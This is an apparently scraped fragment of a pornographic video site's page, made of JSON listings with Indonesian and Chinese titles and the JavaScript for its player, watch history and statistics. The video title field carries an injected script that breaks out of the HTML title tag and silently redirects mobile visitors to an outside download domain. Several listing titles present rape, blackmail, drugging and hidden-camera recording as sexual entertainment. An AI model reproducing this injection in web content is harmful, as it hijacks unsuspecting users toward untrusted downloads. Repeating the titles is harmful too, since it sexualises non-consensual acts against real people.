</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>2 Langkah NTR 1. Seorang pria yang kelemahannya dieksploitasi dipaksa untuk menunjukkan video dirinya dan pacarnya. 2. Setelah itu, saya secara paksa menidurinya, membuat Xiaochun SOD
2 Langkah NTR 1. Seorang pria yang kelemahannya dieksploitasi dipaksa untuk menunjukkan video dirinya dan pacarnya. 2. Setelah itu, saya secara paksa menidurinya, membuat Xiaochun SOD","site_id":0,"video_url":"https://2606.senlin2026.com/20260708/beUCofsR/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTAvM2QyZWUxM2NkNWRhODZmYWNlZDg2ZDZlODBlMDBjY2YuanBn.cache","duration":"","actor":[],"lastmod":1783766805,"rating":"0","view_count":0,"description":null,"tag":["Pacar perempuan","menangkap","pameran","Memaksa","Film","Dipaksa","pria","kelemahan","pacarnya","Memiliki","Koharu","satu"],"site_url":"277350","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["亚洲有码"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTAvM2QyZWUxM2NkNWRhODZmYWNlZDg2ZDZlODBlMDBjY2YuanBn.cache","maker":"","table_name":"videos_senlinzy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"2步骤NTR 1. 一个抓住了自己弱点的男人被迫展示自己和女友的影片。 2. 之后,我用力干她,让 小春 SOD","s_keywords":"2步骤NTR 1. 一个抓住了自己弱点的男人被迫展示自己和女友的影片。 2. 之后,我用力干她,让 小春 SOD","s_description":"2 Langkah NTR 1. Seorang pria yang kelemahannya dieksploitasi dipaksa untuk menunjukkan video dirinya dan pacarnya. 2. Setelah itu, saya secara paksa menidurinya, membuat Xiaochun SOD","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvN2JmZTg4NzYyYjFmMmQ1OTRhNmJkMTc5MWVmNDJmYWQuanBn.cache","vod_id":19147914,"title":"Habiskan malam yang penuh gairah dan mesum bersama seorang gadis desa polos yang berlumuran keringat dan cairan cinta.","lastmod":"2025-03-30","duration":"1:50:55","url":"/play/19147914.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZDY5NzUyZWVmZGFkNTI4ZjFmY2ZmNjdlZjRmM2VjODYuanBn.cache","vod_id":19133823,"title":"Kakak ipar: Terpaksa tinggal serumah, memanjat di malam hari!","lastmod":"2025-03-29","duration":"2:29:37","url":"/play/19133823.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNWM0OTJjMjFhNDZmOTYwYmUyY2M3MmYyMzhlMjY0MjAuanBn.cache","vod_id":19048078,"title":"BTH-024 Pria yang Memangsa Wanita dan Wujud Mirip Kuda - Nishina Momoka","lastmod":"2025-03-29","duration":"0:31:50","url":"/play/19048078.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMmQ4MTFlMTU3OGU2NGQ1ZDczMDlmYmQyZDE4YzVhNTguanBn.cache","vod_id":19128767,"title":"REXD-487 Aku sangat senang kau orang yang baik... \"Kau harus menelepon ibumu.\" Di mana putrimu...?-cd1","lastmod":"2025-03-29","duration":"2:39:56","url":"/play/19128767.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZGYzOWY4MjkwMDNkZDU0ODEyMzlmMWRlNGVjZDEzYTguanBn.cache","vod_id":19102018,"title":"[HD Bahasa Mandarin] Mereka berciuman setiap kali mata mereka bertemu. Hubungan yang penuh gairah dan irasional dengan pacarnya dari klub olahraga yang baru kembali dari kamp pelatihan, berujung pada tinggal bersama.","lastmod":"2025-03-29","duration":"2:04:36","url":"/play/19102018.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMjE2MjIzODlkNjJjMGQyMWI3MjBiNmY0YmM4MjE4ZTcuanBn.cache","vod_id":19242342,"title":"Ini adalah akun yang khusus digunakan untuk merayu dan melakukan hubungan seksual dengan rekan kerja. Target saya saat ini adalah Koharu Miike. Koharu Miike AKDL-351","lastmod":"2026-01-31","duration":"1:11:13","url":"/play/19242342.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMzZkNWUzZjIzMjgwMjc1ZTlkZWFjNWUwMjg4OWFhNmMuanBn.cache","vod_id":19109559,"title":"[Buku Harian Seks] Aku memberi seorang gadis montok berbokong besar minuman beralkohol, dan dia memiliki aura cabul, jadi aku merekamnya saat berhubungan seks!","lastmod":"2025-03-29","duration":"2:04:30","url":"/play/19109559.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMDM5ZTVmNTliMzliZDZiYjA2MzM1NGU5MzRmYjU3MmEuanBn.cache","vod_id":19055587,"title":"HND-698 Kakak perempuan pacarku punya payudara besar sekali!! Dia diam-diam merayuku, membuatku tak bisa berkata apa-apa. (Matsumoto Nanami)","lastmod":"2025-03-29","duration":"1:57:19","url":"/play/19055587.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvM2VkMDk3M2E0MmJkM2IwNWQ1NDUyNWY3ZmE3OTQ3ZGQuanBn.cache","vod_id":19231949,"title":"Pacarku yang luar biasa sedang merasakan sakit dan kenikmatan sekaligus saat disetubuhi dengan penuh gairah oleh seorang pria berotot.","lastmod":"2025-12-13","duration":"0:29:48","url":"/play/19231949.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvOTk1NTgyYzk5NWI1ZGY5NmY4MWFkMWZhYTg2ZDZjMzQuanBn.cache","vod_id":19247402,"title":"Model sketsa telanjang bekerja secara bergiliran! Dan semua orang kecuali modelnya telanjang? Setelah masuk universitas seni, saya adalah satu-satunya laki-laki. (HUNTC-490)","lastmod":"2026-03-04","duration":"3:10:28","url":"/play/19247402.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNzU5ZmNmNDE4ZGE2ZDM4ODE1NjIwNGQ3MmUzY2FlMTUuanBn.cache","vod_id":19034262,"title":"PKPL-007 Video Pribadi Sepenuhnya: Istri Tinggi dan Cantik, Penuh Transparansi - Hirai Nori dan Pengalaman Pertamanya Sendirian dengan Hirai Nori.","lastmod":"2025-03-28","duration":"2:13:35","url":"/play/19034262.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MDMvNWRhNTBkNzY2NjRjYjQwMDI2YTM4ODJlMTMyZDYxMGEuanBn.cache","vod_id":19261714,"title":"Berita Terkini di Awal Tahun 2025.2.7: Kasus Nyata Seorang Mahasiswi Jurusan Musik Kehilangan Keperawanannya kepada Mahasiswa Olahraga; Seorang Mahasiswa Kehilangan Selaput Dara Setelah Kembali ke Kampus Seminggu Lebih Awal; Kamera Tersembunyi Hotel: Seri Kehilangan Keperawanan Nyata yang Terjadi Sekali dalam Seabad.","lastmod":"2026-06-02","duration":"1:15:27","url":"/play/19261714.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjMvOWZjOWM2YjkyOWIyMTc4YWQ3ZDcwZmMxYTMwMDhlZTAuanBn.cache","vod_id":19264963,"title":"Pasangan yang membocorkan rahasia itu tidak bisa diterima, aku tidak mau direkam, aku tidak tahan lagi, kenapa aku tidak tahan? Aku mematikan lampu, pacarku yang berpayudara besar agak malu, dan aku tidak terlindungi.","lastmod":"2026-06-22","duration":"0:09:19","url":"/play/19264963.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MTcvNDQzMzZmYzIwYWFlMmY0NWM2YzliZGYxMzJjMTVmMjUuanBn.cache","vod_id":19208256,"title":"MVSD552 Lepaskan itu, dan dia akan memiliki klitoris yang besar! Dia akan menjadi wanita dengan penis! Kekasih masa kecilku adalah seorang waria yang sensitif dan mesum yang mengalami orgasme tanpa henti!","lastmod":"2025-06-17","duration":"1:56:41","url":"/play/19208256.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMmRmYTQyNzg4ZmQyNDAxODY2NTgwMDk2YjZiMDhkZDIuanBn.cache","vod_id":19168779,"title":"Breonna Sparks berselingkuh dengan pria yang sudah menikah.","lastmod":"2025-03-30","duration":"0:11:38","url":"/play/19168779.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvN2NiODhmMWIxY2ZjYTNmNzIzZjk5NWRiMzBhNjMzN2QuanBn.cache","vod_id":19184563,"title":"YMDD161 Malaikat yang tak pernah menolak ajakan berkendara adalah pacarku yang penurut, Risa Mochizuki.","lastmod":"2025-03-30","duration":"2:34:19","url":"/play/19184563.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvM2QxZWQ3OWY1OThlOGM4NDUxYmYwMjE0ZGUzOTcxZjcuanBn.cache","vod_id":19055568,"title":"HND-681 Setelah lulus SMA, dia langsung mengenakan seragamnya dan mengalami pengalaman pertamanya dengan pria yang lebih tua – Yuzu Futaba","lastmod":"2025-03-29","duration":"1:53:47","url":"/play/19055568.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MjMvZmU3YmU4YzJkNGQ2NTc0MjBiYjVhOTY4MzRkNWQzY2EuanBn.cache","vod_id":19198914,"title":"Jika pacarmu sedang marah, berikan saja dia hadiah dan berhubungan seks dengannya.","lastmod":"2025-04-23","duration":"","url":"/play/19198914.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZWQzYzRmNDg0N2NlNDRkM2YzNTljZTUxNTY3MTc3YzguanBn.cache","vod_id":19052105,"title":"Saat aku bertemu kembali dengan cinta pertamaku di reuni kelas SW-695-CN, dia sudah menikah dan memiliki hasrat seksual yang sangat tinggi! Saat kami mengambil foto kenangan, pacarku yang mabuk berkata, \"Aku akan sangat bersemangat jika difilmkan saat berhubungan seks,\" dan mengajak kami untuk berpartisipasi dalam kontes pengambilan gambar POV! Kami akan merilis video seks perselingkuhan eksklusif kami berdua yang berhubungan seks di toilet toko dan di rumah pacarku.","lastmod":"2025-03-29","duration":"3:34:05","url":"/play/19052105.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMjc3MmZiMjQ3ZWIwYzYyZGFhNjMyMzRlNTM4M2Q4ZmUuanBn.cache","vod_id":19132001,"title":"Penawaran terbatas: 790pt! [Dilarang Didistribusikan] Kecantikan amatir berpayudara besar yang langka! Seorang gadis polos yang tidak terbiasa dengan hal-hal nakal dilatih sepenuhnya oleh Denma dan Dick!!","lastmod":"2025-03-29","duration":"0:39:23","url":"/play/19132001.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MDUvY2JjZDA2ZTJhZjY5MjdlM2JmYTgzODgwNWU3NWU1MmUuanBn.cache","vod_id":19206304,"title":"JUQ329 Seorang wanita yang sudah menikah dan hanya menerima kunci cadangan kamarnya diperkosa oleh seorang mahasiswa laki-laki hingga ia lulus.","lastmod":"2025-06-05","duration":"2:16:14","url":"/play/19206304.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNGE2ODQxN2M2MmFkYjM4NDU4YzY0OTkwMWRlOTVmMmIuanBn.cache","vod_id":19243705,"title":"Pacarku bertubuh mungil tapi memiliki ukuran alat kelamin yang luar biasa besar?!","lastmod":"2026-02-08","duration":"0:13:50","url":"/play/19243705.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYmYxNWRkYmU0ODc0NWQzMTJlMjJkNGRjZGRiYzI4OTMuanBn.cache","vod_id":19101628,"title":"TENN-006 Pacar Malaikat Volume 2","lastmod":"2025-03-29","duration":"2:05:00","url":"/play/19101628.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYjVkNDg5NDc3YjMxMDJjNDE2ODcyNzdiMTA4NTgzNGQuanBn.cache","vod_id":19040785,"title":"Janji temu seks bisa dibuat hingga setahun sebelumnya! Seorang wanita jalang bertubuh seksi yang bermain ski dengan seribu pria memiliki jadwal yang padat, dan dia akan melakukan debutnya di film dewasa! Ayami Ishihara","lastmod":"2025-03-28","duration":"2:00:18","url":"/play/19040785.html"}]},
videoTitle: '</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>2 Langkah NTR 1. Seorang pria yang kelemahannya dieksploitasi dipaksa untuk menunjukkan video dirinya dan pacarnya. 2. Setelah itu, saya secara paksa menidurinya, membuat Xiaochun SOD',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}